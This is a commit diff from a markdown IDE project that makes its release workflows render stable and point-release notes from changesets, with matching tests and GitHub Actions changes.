Skip to content

Beautiful, AI-native markdown IDE and LLM wiki

Render stable release notes from the stable tag's changesets (PRD-9389) (#6400)

Andrew Mikofalvy97a5a8879cac
diff --git a/.github/scripts/point-release-plan.mjs b/.github/scripts/point-release-plan.mjs
index a9f77c927..559bde7a3 100644
--- a/.github/scripts/point-release-plan.mjs
+++ b/.github/scripts/point-release-plan.mjs
@@ -13,6 +13,14 @@ import {
serializeBumpVerdicts,
withBumpVerdicts,
} from '../../scripts/compute-stable-version.mjs';
+import {
+ noteReaderAt,
+ parseNoteLevels,
+ recordNoteLevels,
+ serializeNoteLevels,
+ stableNotes,
+ withNoteLevels,
+} from '../../scripts/render-stable-notes.mjs';
import {
describeNoSelection,
listPrebuildRuns,
@@ -437,20 +445,31 @@ export const pushTagArgs = (tag) => [
tag,
];
-export function readFixBumps({ mode, fixRefs }, git) {
- const verdicts = new Map();
- if (mode === 'revert') return verdicts;
- const reading = recordBumpVerdicts(git, verdicts);
+function forEachFixChangeset({ mode, fixRefs }, git, visit) {
+ if (mode === 'revert') return;
for (const ref of fixRefs) {
const sha = git.revParse(ref);
const before = git.changesetBlobs(`${sha}^`);
for (const [id, blob] of git.changesetBlobs(sha)) {
- if (before.get(id) !== blob) reading.bumpTypeOf(sha, id);
+ if (before.get(id) !== blob) visit(sha, id);
}
}
+}
+
+export function readFixBumps(opts, git) {
+ const verdicts = new Map();
+ const reading = recordBumpVerdicts(git, verdicts);
+ forEachFixChangeset(opts, git, (sha, id) => reading.bumpTypeOf(sha, id));
return verdicts;
}
+export function readFixNoteLevels(opts, git) {
+ const levels = new Map();
+ const reading = recordNoteLevels(git, levels);
+ forEachFixChangeset(opts, git, (sha, id) => reading.noteLevelOf(sha, id));
+ return levels;
+}
+
export class PointReleaseRefusal extends Error {
constructor(code, message) {
super(message);
@@ -583,7 +602,8 @@ export function runPointRelease(opts, io) {
guards,
warnings,
};
- plan.releaseNotes = formatReleaseNotes(plan);
+ plan.releaseNotes =
+ mode === 'cherry-pick' ? renderedReleaseNotes(plan, io, warnings) : formatReleaseNotes(plan);
if (dryRun) return plan;
@@ -746,13 +766,38 @@ function decideMainReset({ anchorDeltaIds, addedIds, bridgeConfigured, guards, w
return { dispatch: true, deltaIds, skipReason: null };
}
-export function formatReleaseNotes(plan) {
- const lines = [
+function provenanceLines(plan) {
+ return [
`Point release over ${plan.latestStableTag}: the current stable plus ${plan.fixRefs.length} applied ` +
`commit(s), isolated from the changes still soaking on main.`,
'',
`Applied: ${plan.fixRefs.map((r) => (r.ref === r.sha ? r.sha : `${r.ref} (${r.sha})`)).join(', ')}`,
];
+}
+
+function renderedReleaseNotes(plan, io, warnings) {
+ let notes;
+ try {
+ notes = stableNotes(
+ {
+ commit: plan.syntheticSha,
+ excludeTags: [plan.tag],
+ publishedTags: io.containment.publishedStableTags(),
+ },
+ io.git,
+ );
+ } catch (err) {
+ warnings.push(
+ `The release notes could not be rendered from the changesets (${messageOf(err)}), so the body quotes ` +
+ `them instead and carries no notes-source marker; the docs changelog keeps CHANGELOG.md for ${plan.tag}.`,
+ );
+ return formatReleaseNotes(plan);
+ }
+ return `${notes}\n${provenanceLines(plan).join('\n')}\n`;
+}
+
+export function formatReleaseNotes(plan) {
+ const lines = provenanceLines(plan);
const entries = plan.changesetEntries ?? [];
const quoted = entries.filter((e) => e.body);
const unquoted = entries.filter((e) => !e.body);
@@ -777,7 +822,7 @@ export function realIo() {
writeWorktreeFile: (path, content) => writeFileSync(path, content),
},
git: {
- ...realGit,
+ ...noteReaderAt(),
isOnMain: (ref) => realGit.isAncestor(ref, 'origin/main'),
tagExists: (tag) => {
const res = spawnSync('git', ['rev-parse', '--verify', '--quiet', `refs/tags/${tag}`], { encoding: 'utf8' });
@@ -858,16 +903,33 @@ function log(...args) {
}
function readBumpsMain() {
+ let opts;
+ let reader;
let verdicts;
try {
- verdicts = readFixBumps({ mode: process.env.MODE, fixRefs: parseFixRefs(process.env.FIX_REFS) }, realGit);
+ opts = { mode: process.env.MODE, fixRefs: parseFixRefs(process.env.FIX_REFS) };
+ reader = noteReaderAt();
+ verdicts = readFixBumps(opts, reader);
} catch (err) {
console.error(`::error::point-release-plan --read-bumps: ${messageOf(err)}`);
process.exit(1);
}
+ let levels;
+ try {
+ levels = readFixNoteLevels(opts, reader);
+ } catch (err) {
+ levels = new Map();
+ console.log(
+ `::warning::point-release-plan --read-bumps: the release-note level of a changeset could not be read ` +
+ `(${messageOf(err)}), so the release body will quote the changesets without the notes-source marker.`,
+ );
+ }
log(`Read the bump of ${verdicts.size} changeset(s) written by ${process.env.MODE} refs ${process.env.FIX_REFS}.`);
if (process.env.GITHUB_OUTPUT) {
- appendFileSync(process.env.GITHUB_OUTPUT, `bump_verdicts=${serializeBumpVerdicts(verdicts)}\n`);
+ appendFileSync(
+ process.env.GITHUB_OUTPUT,
+ `bump_verdicts=${serializeBumpVerdicts(verdicts)}\nnote_levels=${serializeNoteLevels(levels)}\n`,
+ );
}
}
@@ -885,6 +947,9 @@ function main() {
if (process.env.BUMP_VERDICTS !== undefined) {
io.git = withBumpVerdicts(io.git, parseBumpVerdicts(process.env.BUMP_VERDICTS));
}
+ if (process.env.NOTE_LEVELS !== undefined) {
+ io.git = withNoteLevels(io.git, parseNoteLevels(process.env.NOTE_LEVELS));
+ }
plan = runPointRelease(
{
mode: process.env.MODE,
diff --git a/.github/scripts/point-release-plan.test.mjs b/.github/scripts/point-release-plan.test.mjs
index 764aeedcd..6b1e916aa 100644
--- a/.github/scripts/point-release-plan.test.mjs
+++ b/.github/scripts/point-release-plan.test.mjs
@@ -7,6 +7,7 @@ import { Project, ts } from 'ts-morph';
import { afterEach, describe, expect, test } from 'vitest';
import { gitAt, withBumpVerdicts } from '../../scripts/compute-stable-version.mjs';
import { gitCleanEnv } from '../../scripts/git-clean-env.mjs';
+import { NOTES_SOURCE_MARKER, withNoteLevels } from '../../scripts/render-stable-notes.mjs';
import {
APP_CREDENTIAL_HELPER,
deriveEntryLevelResolution,
@@ -26,6 +27,7 @@ import {
pushTagArgs,
RESOLVABLE_PATHS,
readFixBumps,
+ readFixNoteLevels,
realIo,
runPointRelease,
verifyWorkspaceMatchesLockfile,
@@ -610,6 +612,7 @@ function makeIo(overrides = {}) {
existingTags = ['v0.32.0'],
changesets = { 'stable-sha': ['keep-a'], 'synthetic-sha': ['keep-a'] },
bumpTypes = {},
+ noteLevels = {},
changesetContents = {},
nativeConfigSelection = { headSha: 'prebuild-sha', reason: '' },
ancestries = [['prebuild-sha', 'synthetic-sha']],
@@ -669,13 +672,21 @@ function makeIo(overrides = {}) {
isOnMain: (ref) => onMain.includes(ref),
tagExists: (t) => existingTags.includes(t),
isAncestor: (a, b) => ancestries.some(([x, y]) => x === a && y === b),
- changesetIds: (sha) => changesets[sha] ?? [],
+ changesetIds: (sha) =>
+ changesets[sha] ?? changesets[sha === stableTag ? 'stable-sha' : sha] ?? [],
+ stableTags: () => existingTags.filter((t) => /^v\d+\.\d+\.\d+$/.test(t)),
bumpTypeOf: (_sha, id) => bumpTypes[id] ?? 'patch',
+ noteLevelOf: (_sha, id) => (id in noteLevels ? noteLevels[id] : 'patch'),
changesetContent: (_sha, id) => {
const content = changesetContents[id];
if (content === undefined) throw new Error(`no changeset content for ${id}`);
return content;
},
+ changesetText: (_sha, id) => {
+ const content = changesetContents[id];
+ if (content === undefined) throw new Error(`no changeset content for ${id}`);
+ return content;
+ },
checkoutDetached: (sha) => checkedOut.push(sha),
cherryPick: cherryPick ?? ((ref) => applied.push(['cherry-pick', ref])),
revert: revert ?? ((ref) => applied.push(['revert', ref])),
@@ -922,6 +933,92 @@ describe('runPointRelease cascade', () => {
expect(io.calls).toEqual({ tag: 0, pushTag: 0, createRelease: 0, dispatch: 0 });
});
+ const shinyFix = (overrides = {}) =>
+ makeIo({
+ changesets: {
+ 'stable-sha': ['keep-a'],
+ 'synthetic-sha': ['keep-a', 'shiny-fix'],
+ fix1: ['keep-a', 'shiny-fix'],
+ 'fix1^': ['keep-a'],
+ },
+ changesetContents: {
+ 'shiny-fix':
+ '---\n"@inkeep/open-knowledge": patch\n---\n\nChips no longer balloon into ovals.\n',
+ },
+ ...overrides,
+ });
+
+ test('a cherry-pick body is the stable notes renderer output, marker and all, with the provenance after it', () => {
+ const io = shinyFix();
+ runPointRelease({ mode: 'cherry-pick', fixRefs: ['fix1'], dryRun: false }, io);
+ const notes = io.releases[0].notes;
+ const [rendered, provenance] = notes.split(`${NOTES_SOURCE_MARKER}\n`);
+ expect(rendered).toBe('### Patch Changes\n\n- Chips no longer balloon into ovals.\n\n');
+ expect(provenance).toMatch(
+ /^\nPoint release over v0\.32\.0: the current stable plus 1 applied commit\(s\)/,
+ );
+ expect(provenance).toContain('\nApplied: fix1 (fix1-sha)\n');
+ });
+
+ test('a changeset some older published stable already shipped is not listed again', () => {
+ const io = shinyFix({
+ existingTags: ['v0.31.0', 'v0.32.0'],
+ publishedTags: ['v0.31.0', 'v0.32.0'],
+ changesets: {
+ 'v0.31.0': ['keep-a', 'shiny-fix'],
+ 'stable-sha': ['keep-a'],
+ 'synthetic-sha': ['keep-a', 'shiny-fix'],
+ fix1: ['keep-a', 'shiny-fix'],
+ 'fix1^': ['keep-a'],
+ },
+ });
+ const plan = runPointRelease({ mode: 'cherry-pick', fixRefs: ['fix1'], dryRun: true }, io);
+ expect(plan.releaseNotes).toMatch(/^No changelog entries\.\n\nPoint release over v0\.32\.0/);
+ expect(plan.releaseNotes).not.toContain(NOTES_SOURCE_MARKER);
+ });
+
+ test('a changeset only an unpublished stable tag carries is still listed', () => {
+ const io = shinyFix({
+ existingTags: ['v0.31.0', 'v0.32.0'],
+ publishedTags: ['v0.32.0'],
+ changesets: {
+ 'v0.31.0': ['keep-a', 'shiny-fix'],
+ 'stable-sha': ['keep-a'],
+ 'synthetic-sha': ['keep-a', 'shiny-fix'],
+ fix1: ['keep-a', 'shiny-fix'],
+ 'fix1^': ['keep-a'],
+ },
+ });
+ const plan = runPointRelease({ mode: 'cherry-pick', fixRefs: ['fix1'], dryRun: true }, io);
+ expect(plan.releaseNotes).toMatch(/^### Patch Changes\n\n- Chips no longer balloon into ovals\./);
+ expect(plan.releaseNotes).toContain(NOTES_SOURCE_MARKER);
+ });
+
+ test('a revert body carries no notes-source marker, so the docs keep CHANGELOG.md for it', () => {
+ const io = makeIo();
+ runPointRelease({ mode: 'revert', fixRefs: ['bad1'], dryRun: false }, io);
+ expect(io.releases[0].notes).not.toContain('ok-notes-source');
+ });
+
+ test('notes that cannot render fall back to the unmarked quoted form with a warning, never a refusal', () => {
+ const io = shinyFix();
+ io.git = withNoteLevels(
+ {
+ ...io.git,
+ changesetBlobs: (sha) =>
+ new Map((io.git.changesetIds(sha) ?? []).map((id) => [id, `blob-${id}`])),
+ },
+ new Map(),
+ );
+ const plan = runPointRelease({ mode: 'cherry-pick', fixRefs: ['fix1'], dryRun: false }, io);
+ expect(io.calls.createRelease).toBe(1);
+ expect(io.releases[0].notes).not.toContain('ok-notes-source');
+ expect(io.releases[0].notes).toContain('- Chips no longer balloon into ovals.');
+ expect(plan.warnings.some((w) => /no note level for \.changeset\/shiny-fix\.md/.test(w))).toBe(
+ true,
+ );
+ });
+
test('revert with no named delta skips main-reset and names both follow-ups', () => {
const io = makeIo();
const plan = runPointRelease({ mode: 'revert', fixRefs: ['bad1'], dryRun: false }, io);
@@ -1737,6 +1834,32 @@ describe('readFixBumps, run by the job that holds no release credential', () =>
});
});
+describe('readFixNoteLevels, run beside readFixBumps in the reader job', () => {
+ test('records the note level of each changeset blob a fix ref writes, and nothing for a revert', () => {
+ const reads = [];
+ const git = {
+ revParse: (ref) => `${ref}-sha`,
+ changesetBlobs: (sha) =>
+ new Map(
+ Object.entries(
+ { 'fix1-sha^': { 'keep-a': 'b0' }, 'fix1-sha': { 'keep-a': 'b0', 'shiny-fix': 'b1' } }[
+ sha
+ ] ?? {},
+ ),
+ ),
+ noteLevelOf: (sha, id) => {
+ reads.push(`${sha}:${id}`);
+ return 'patch';
+ },
+ };
+ expect(readFixNoteLevels({ mode: 'cherry-pick', fixRefs: ['fix1'] }, git)).toEqual(
+ new Map([['b1', 'patch']]),
+ );
+ expect(reads).toEqual(['fix1-sha:shiny-fix']);
+ expect(readFixNoteLevels({ mode: 'revert', fixRefs: ['fix1'] }, git).size).toBe(0);
+ });
+});
+
describe('runPointRelease in the release job, which has no Changesets reader', () => {
const cherryPickChangesets = {
'stable-sha': ['keep-a'],
@@ -1903,7 +2026,7 @@ describe('the production entry points the release workflows run', () => {
if (res.status !== 0) throw new Error(`git ${args.join(' ')} failed: ${res.stderr}`);
return res.stdout.trim();
};
- const fixRepo = (fixBump) => {
+ const fixRepo = (fixBump, { config = true } = {}) => {
const root = scratch('point-release-read-bumps-');
const changeset = (id, type) => {
mkdirSync(join(root, '.changeset'), { recursive: true });
@@ -1911,6 +2034,12 @@ describe('the production entry points the release workflows run', () => {
};
git(root, 'init', '-q', '-b', 'main');
changeset('keep-a', 'patch');
+ if (config) {
+ writeFileSync(
+ join(root, '.changeset', 'config.json'),
+ JSON.stringify({ fixed: [['@inkeep/open-knowledge']] }),
+ );
+ }
git(root, 'add', '-A');
git(root, 'commit', '-q', '-m', 'stable');
changeset('shiny-fix', fixBump);
@@ -1956,24 +2085,32 @@ describe('the production entry points the release workflows run', () => {
]);
});
- test('--read-bumps writes the bump of each changeset a fix ref writes, keyed by blob id', () => {
+ test('--read-bumps writes the bump and note level of each changeset a fix ref writes, keyed by blob id', () => {
const { root, fix, blob } = fixRepo('minor');
const res = runScript(root, ['--read-bumps'], { MODE: 'cherry-pick', FIX_REFS: fix });
expect(res.status, res.stderr).toBe(0);
- expect(res.output).toBe(`bump_verdicts={"${blob}":"minor"}\n`);
+ expect(res.output).toBe(`bump_verdicts={"${blob}":"minor"}\nnote_levels={"${blob}":"minor"}\n`);
});
test('--read-bumps writes {} in revert mode without reading frontmatter it could not parse', () => {
const { root, fix } = fixRepo('Major');
const revert = runScript(root, ['--read-bumps'], { MODE: 'revert', FIX_REFS: fix });
expect(revert.status, revert.stderr).toBe(0);
- expect(revert.output).toBe('bump_verdicts={}\n');
+ expect(revert.output).toBe('bump_verdicts={}\nnote_levels={}\n');
const cherryPick = runScript(root, ['--read-bumps'], { MODE: 'cherry-pick', FIX_REFS: fix });
expect(cherryPick.status).toBe(1);
expect(cherryPick.output).toBe('');
});
+ test('--read-bumps still writes the bumps when a note level cannot be read, with no levels and a warning', () => {
+ const { root, fix, blob } = fixRepo('minor', { config: false });
+ const res = runScript(root, ['--read-bumps'], { MODE: 'cherry-pick', FIX_REFS: fix });
+ expect(res.status, res.stderr).toBe(0);
+ expect(res.output).toBe(`bump_verdicts={"${blob}":"minor"}\nnote_levels={}\n`);
+ expect(res.stdout).toMatch(/::warning::.*without the notes-source marker/);
+ });
+
test('an empty BUMP_VERDICTS stops the release run with an error naming the read-bumps output', () => {
const res = runScript(scratch('point-release-empty-verdicts-'), [], { BUMP_VERDICTS: '' });
expect(res.status).toBe(1);
diff --git a/.github/scripts/release-cascade-shape.test.mjs b/.github/scripts/release-cascade-shape.test.mjs
index 28f8b617b..ec15f7010 100644
--- a/.github/scripts/release-cascade-shape.test.mjs
+++ b/.github/scripts/release-cascade-shape.test.mjs
@@ -7,6 +7,7 @@ import { dirname, join, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
import { afterAll, describe, expect, test } from 'vitest';
import { parse } from 'yaml';
+import { NOTES_SOURCE_MARKER, renderStableNotes } from '../../scripts/render-stable-notes.mjs';
import { buildSlackPayload } from './build-smoke-alert-payload.mjs';
import { execFileSync } from './child-tripwire.test-helper.mjs';
import { selectPromotion } from './select-beta-to-promote.mjs';
@@ -561,10 +562,11 @@ describe('the moved dispatch keeps the contract release.yml consumes', () => {
});
test('the dispatch is gated so beta cuts and manual re-runs never publish npm', () => {
- const dispatch = desktopRelease.slice(
- desktopRelease.indexOf('- name: Trigger release.yml to publish stable to npm'),
- desktopRelease.indexOf('# The on-site changelog'),
- );
+ const start = desktopRelease.indexOf('- name: Trigger release.yml to publish stable to npm');
+ const end = desktopRelease.indexOf('- name: Announce stable release to Slack');
+ expect(start).toBeGreaterThan(-1);
+ expect(end).toBeGreaterThan(start);
+ const dispatch = desktopRelease.slice(start, end);
expect(dispatch).toContain("needs.prepare.outputs.channel == 'latest'");
expect(dispatch).toContain("github.event_name != 'workflow_dispatch'");
});
@@ -1573,18 +1575,24 @@ describe('every job that reads changesets installs the Changesets reader first',
importsReader(resolve(dirname(file), spec), seen),
);
};
- const VERDICT_MODE_SCRIPTS = new Set([
- join(OK_ROOT, 'scripts', 'compute-stable-version.mjs'),
- join(OK_ROOT, '.github', 'scripts', 'point-release-plan.mjs'),
- join(OK_ROOT, '.github', 'scripts', 'bug-lane.mjs'),
- join(OK_ROOT, '.github', 'scripts', 'select-beta-to-promote.mjs'),
+ const VERDICT_MODE_SCRIPTS = new Map([
+ [join(OK_ROOT, 'scripts', 'compute-stable-version.mjs'), ['BUMP_VERDICTS']],
+ [join(OK_ROOT, 'scripts', 'render-stable-notes.mjs'), ['NOTE_LEVELS']],
+ [
+ join(OK_ROOT, '.github', 'scripts', 'point-release-plan.mjs'),
+ ['BUMP_VERDICTS', 'NOTE_LEVELS'],
+ ],
+ [join(OK_ROOT, '.github', 'scripts', 'bug-lane.mjs'), ['BUMP_VERDICTS']],
+ [join(OK_ROOT, '.github', 'scripts', 'select-beta-to-promote.mjs'), ['BUMP_VERDICTS']],
]);
const readsChangesets = (step) => {
const readers = [...(step.run ?? '').matchAll(/[\w./-]+\.mjs\b/g)]
.map(([path]) => resolve(OK_ROOT, path))
.filter((file) => importsReader(file));
if (readers.length === 0) return false;
- return step.env?.BUMP_VERDICTS === undefined || readers.some((file) => !VERDICT_MODE_SCRIPTS.has(file));
+ return readers.some(
+ (file) => !VERDICT_MODE_SCRIPTS.has(file) || VERDICT_MODE_SCRIPTS.get(file).some((name) => step.env?.[name] === undefined),
+ );
};
const readerJobs = readdirSync(WORKFLOWS)
.filter((file) => file.endsWith('.yml'))
@@ -1614,15 +1622,19 @@ describe('every job that reads changesets installs the Changesets reader first',
expect(uninstalled).toEqual([]);
});
- test('BUMP_VERDICTS exempts only a script that implements verdict mode', () => {
+ test('BUMP_VERDICTS and NOTE_LEVELS exempt only a script that implements verdict mode for every read it makes', () => {
const env = { BUMP_VERDICTS: '${{ needs.read-bumps.outputs.bump_verdicts }}' };
expect(readsChangesets({ env, run: 'node scripts/compute-stable-version.mjs "$BETA_TAG"' })).toBe(false);
- expect(readsChangesets({ env, run: 'node .github/scripts/point-release-plan.mjs' })).toBe(false);
+ expect(readsChangesets({ env, run: 'node .github/scripts/point-release-plan.mjs' })).toBe(true);
expect(readsChangesets({ env, run: 'node scripts/compute-next-beta.mjs' })).toBe(true);
expect(
readsChangesets({ env, run: 'node scripts/compute-stable-version.mjs v1\nnode scripts/compute-next-beta.mjs' }),
).toBe(true);
expect(readsChangesets({ run: 'node scripts/compute-stable-version.mjs "$BETA_TAG"' })).toBe(true);
+ const levels = { NOTE_LEVELS: '${{ needs.read-bumps.outputs.note_levels }}' };
+ expect(readsChangesets({ env: levels, run: 'node scripts/render-stable-notes.mjs --commit "$SHA"' })).toBe(false);
+ expect(readsChangesets({ env, run: 'node scripts/render-stable-notes.mjs --commit "$SHA"' })).toBe(true);
+ expect(readsChangesets({ env: { ...env, ...levels }, run: 'node .github/scripts/point-release-plan.mjs' })).toBe(false);
});
});
@@ -1689,6 +1701,7 @@ describe('the release App credential never shares a job with installed packages'
const isSanctionedRead = (job, { path, expr }) => {
if (path[0] !== 'steps' || path[2] !== 'env') return false;
if (path[3] === 'BUMP_VERDICTS') return expr === 'needs.read-bumps.outputs.bump_verdicts';
+ if (path[3] === 'NOTE_LEVELS') return expr === 'needs.read-bumps.outputs.note_levels';
return (
path[3] === 'READ_BUMPS_BETA_TAG' &&
job.steps[path[1]]?.name === REFUSAL &&
@@ -1870,6 +1883,9 @@ describe('the release App credential never shares a job with installed packages'
'BUMP_VERDICTS reading another output': withStep({
env: { BUMP_VERDICTS: '${{ needs.read-bumps.outputs.beta_tag }}' },
}),
+ 'NOTE_LEVELS reading another output': withStep({
+ env: { NOTE_LEVELS: '${{ needs.read-bumps.outputs.beta_tag }}' },
+ }),
'an action input named BUMP_VERDICTS': withStep({
uses: './.github/actions/consumer',
with: { BUMP_VERDICTS: '${{ needs.read-bumps.outputs.bump_verdicts }}' },
@@ -1884,7 +1900,7 @@ describe('the release App credential never shares a job with installed packages'
}
});
- test('a job that mints an App token takes only bump_verdicts from the reader job', () => {
+ test('a job that mints an App token takes only bump_verdicts and note_levels from the reader job', () => {
for (const { name, job } of jobs.filter(({ job }) => mintsAppToken(job))) {
const verdictSteps = steps(job).filter((step) => step.env?.BUMP_VERDICTS !== undefined);
expect(verdictSteps.length, name).toBeGreaterThan(0);
@@ -1893,6 +1909,13 @@ describe('the release App credential never shares a job with installed packages'
'${{ needs.read-bumps.outputs.bump_verdicts }}',
);
}
+ const levelSteps = steps(job).filter((step) => step.env?.NOTE_LEVELS !== undefined);
+ expect(levelSteps.length, name).toBeGreaterThan(0);
+ for (const step of levelSteps) {
+ expect(step.env.NOTE_LEVELS, `${name} ${step.name}`).toBe(
+ '${{ needs.read-bumps.outputs.note_levels }}',
+ );
+ }
expect(strayReaderReads(job), name).toEqual([]);
for (const step of steps(job).filter((candidate) => candidate.name === REFUSAL)) {
expect(step.id, name).toBeUndefined();
@@ -3099,3 +3122,24 @@ describe('Linux packaging ships the native prebuilds and checks them before uplo
}
});
});
+
+describe('the Discord stable announcement and the notes renderer agree on the notes-source marker', () => {
+ test('the announcement strips the marker line the renderer writes and keeps the notes', () => {
+ const step = workflowStep(desktopRelease, 'desktop-release.yml', 'Announce stable release to Discord');
+ const stripLine = step.split('\n').find((line) => line.includes('ok-notes-source'));
+ expect(stripLine, 'the Discord step no longer strips the notes-source marker').toBeDefined();
+ const programs = [...(stripLine ?? '').matchAll(/-e '([^']*)'/g)].map((match) => match[1]);
+ const rendered = renderStableNotes([{ id: 'a-fix', level: 'patch', summary: 'A fix.' }], {
+ marked: true,
+ });
+ expect(rendered).toContain(NOTES_SOURCE_MARKER);
+ const body = `${rendered}\n<!-- ok-downloads:start -->\n| a | b |\n<!-- ok-downloads:end -->\n`;
+ const stripped = execFileSync('sed', programs.flatMap((program) => ['-e', program]), {
+ input: body,
+ encoding: 'utf8',
+ });
+ expect(stripped).not.toContain('ok-notes-source');
+ expect(stripped).not.toContain('ok-downloads');
+ expect(stripped).toContain('- A fix.');
+ });
+});
diff --git a/.github/scripts/step-slicer-shape.test.mjs b/.github/scripts/step-slicer-shape.test.mjs
index 9e0e08654..9d73453a5 100644
--- a/.github/scripts/step-slicer-shape.test.mjs
+++ b/.github/scripts/step-slicer-shape.test.mjs
@@ -15,7 +15,7 @@ const NESTED_SLICE = /\.slice\(\s*[A-Za-z_$][\w$]*(?:\.[\w$]+)*\.(?:indexOf|last
const BASELINE = {
'build-smoke-alert-payload.test.mjs': 3,
'point-release-plan.test.mjs': 1,
- 'release-cascade-shape.test.mjs': 18,
+ 'release-cascade-shape.test.mjs': 17,
};
const countIn = (src) => [...src.matchAll(NESTED_SLICE)].length;
diff --git a/.github/workflows/desktop-release.yml b/.github/workflows/desktop-release.yml
index 5b06bf65f..1b61dd27d 100644
--- a/.github/workflows/desktop-release.yml
+++ b/.github/workflows/desktop-release.yml
@@ -1893,14 +1893,6 @@ jobs:
exit 1
fi
- # Marker-delimited (`<!-- ok-downloads:start/end -->`) so re-renders are
- # idempotent and the rest of the body — the changelog and the beta
- # cadence's hidden consumed-set marker, which compute-next-beta.mjs
- # reads back from the previous beta's body — passes through
- # byte-identical. The announcement steps below and
- # aggregate-stable-changelog.mjs each strip the block on their side.
- # Best-effort: a release with assets but no Downloads table is a
- # cosmetic gap, not a reason to strand the release as a draft.
- name: Render the Downloads table into the release body
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@@ -1980,6 +1972,45 @@ jobs:
echo "published=true" >> "$GITHUB_OUTPUT"
+ - name: Detect bridge App for the docs changelog refresh
+ id: docs-bridge
+ if: success() && needs.prepare.outputs.channel == 'latest'
+ env:
+ OK_RELEASE_BRIDGE_APP_ID: ${{ secrets.OK_RELEASE_BRIDGE_APP_ID }}
+ run: |
+ if [[ -n "${OK_RELEASE_BRIDGE_APP_ID:-}" ]]; then
+ echo "configured=true" >> "$GITHUB_OUTPUT"
+ else
+ echo "configured=false" >> "$GITHUB_OUTPUT"
+ echo "::notice::OK_RELEASE_BRIDGE_APP_ID not set; skipping the docs changelog refresh for ${RELEASE_TAG}. The changelog picks it up on the next docs deploy."
+ fi
+
+ - name: Mint docs refresh token (bridge App)
+ id: docs-bridge-token
+ if: success() && steps.docs-bridge.outputs.configured == 'true'
+ continue-on-error: true
+ uses: actions/create-github-app-token@1b10c78c7865c340bc4f6099eb2f838309f1e8c3 # v3.1.1
+ with:
+ client-id: Iv23lii4qS2FAc6tkzfI
+ private-key: ${{ secrets.OK_RELEASE_BRIDGE_APP_PRIVATE_KEY }}
+ owner: inkeep
+ repositories: agents-private
+
+ - name: Refresh the docs changelog on agents-private
+ if: success() && steps.docs-bridge-token.outputs.token != ''
+ env:
+ GH_TOKEN: ${{ steps.docs-bridge-token.outputs.token }}
+ run: |
+ set -uo pipefail
+ SELF_URL="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/actions/runs/${GITHUB_RUN_ID}"
+ payload=$(jq -nc --arg tag "$RELEASE_TAG" --arg by "$SELF_URL" \
+ '{event_type: "ok-stable-published", client_payload: {release_tag: $tag, dispatched_by: $by}}')
+ if gh api -X POST "repos/inkeep/agents-private/dispatches" --input - <<<"$payload" >/dev/null; then
+ echo "Dispatched ok-stable-published to agents-private for ${RELEASE_TAG}; the docs changelog rebuilds there."
+ else
+ echo "::warning::Could not dispatch ok-stable-published for ${RELEASE_TAG}; the docs changelog refreshes on the next docs deploy, or run public-open-knowledge-docs-changelog-deploy.yml by hand."
+ fi
+
# FR5b — the npm stable publish sits downstream of the DMG smoke gate
# (build-macos fails on a bad verdict, which skips this whole job) AND
# the full-inventory verification, so npm `latest` can only move for a
@@ -2024,13 +2055,6 @@ jobs:
if [[ -n "$CHILD" ]]; then echo "- Run: ${CHILD}"; else echo "- (run link unresolved; open release.yml)"; fi
} >> "$GITHUB_STEP_SUMMARY"
- # The on-site changelog (/docs/changelog) is rebuilt by
- # public-open-knowledge-docs-changelog-deploy.yml (on agents-private), which
- # fires the Vercel deploy hook when the `main-reset` commit rewrites
- # packages/cli/CHANGELOG.md on main. Triggering here would be too early — the
- # changelog reads that file, and it isn't updated until main-reset lands after
- # this release completes.
-
# Announce STABLE releases to Slack. Gated on channel=latest so betas
# stay silent — every *-beta.N cut also flows through this job (on
# channel=beta) and must not post. Placed AFTER the promote step and
@@ -2128,7 +2152,7 @@ jobs:
# Discord renders no markdown tables; strip the marker-delimited
# Downloads block (the release page keeps it — the embed links
# there).
- NOTES="$(printf '%s' "$NOTES" | sed '/<!-- ok-downloads:start -->/,/<!-- ok-downloads:end -->/d')"
+ NOTES="$(printf '%s' "$NOTES" | sed -e '/<!-- ok-downloads:start -->/,/<!-- ok-downloads:end -->/d' -e '/^<!-- ok-notes-source: .* -->$/d')"
NOTES_LIMIT=3500
if [[ "${#NOTES}" -gt "$NOTES_LIMIT" ]]; then
NOTES="${NOTES:0:$NOTES_LIMIT}…"
diff --git a/.github/workflows/point-release.yml b/.github/workflows/point-release.yml
index c5d39e7b8..e8e902ef9 100644
--- a/.github/workflows/point-release.yml
+++ b/.github/workflows/point-release.yml
@@ -118,6 +118,7 @@ jobs:
contents: read
outputs:
bump_verdicts: ${{ steps.bumps.outputs.bump_verdicts }}
+ note_levels: ${{ steps.bumps.outputs.note_levels }}
steps:
- name: Checkout
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -136,7 +137,7 @@ jobs:
corepack enable
pnpm install --frozen-lockfile --filter=. --ignore-scripts
- - name: Read the bump of every changeset the fix refs write
+ - name: Read the bump and release-note level of every changeset the fix refs write
id: bumps
env:
MODE: ${{ inputs.mode }}
@@ -247,6 +248,7 @@ jobs:
BRIDGE_GH_TOKEN: ${{ steps.bridge-token.outputs.token }}
BRIDGE_CONFIGURED: ${{ steps.bridge-check.outputs.configured }}
BUMP_VERDICTS: ${{ needs.read-bumps.outputs.bump_verdicts }}
+ NOTE_LEVELS: ${{ needs.read-bumps.outputs.note_levels }}
MODE: ${{ inputs.mode }}
FIX_REFS: ${{ inputs.fix_refs }}
ANCHOR_DELTA_IDS: ${{ inputs.anchor_delta_ids }}
diff --git a/.github/workflows/promote-stable.yml b/.github/workflows/promote-stable.yml
index 1beac7690..21a8d4d13 100644
--- a/.github/workflows/promote-stable.yml
+++ b/.github/workflows/promote-stable.yml
@@ -114,6 +114,7 @@ jobs:
outputs:
beta_tag: ${{ steps.resolve.outputs.beta_tag }}
bump_verdicts: ${{ steps.bumps.outputs.bump_verdicts }}
+ note_levels: ${{ steps.levels.outputs.note_levels }}
steps:
- name: Checkout
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -174,6 +175,15 @@ jobs:
set -euo pipefail
node scripts/compute-stable-version.mjs "$BETA_TAG"
+ - name: Read the release-note level of every changeset the stable ships
+ id: levels
+ if: steps.bumps.outputs.skip != 'true'
+ env:
+ BETA_SHA: ${{ steps.bumps.outputs.beta_sha }}
+ run: |
+ set -euo pipefail
+ node scripts/render-stable-notes.mjs --read-levels --commit "$BETA_SHA"
+
promote:
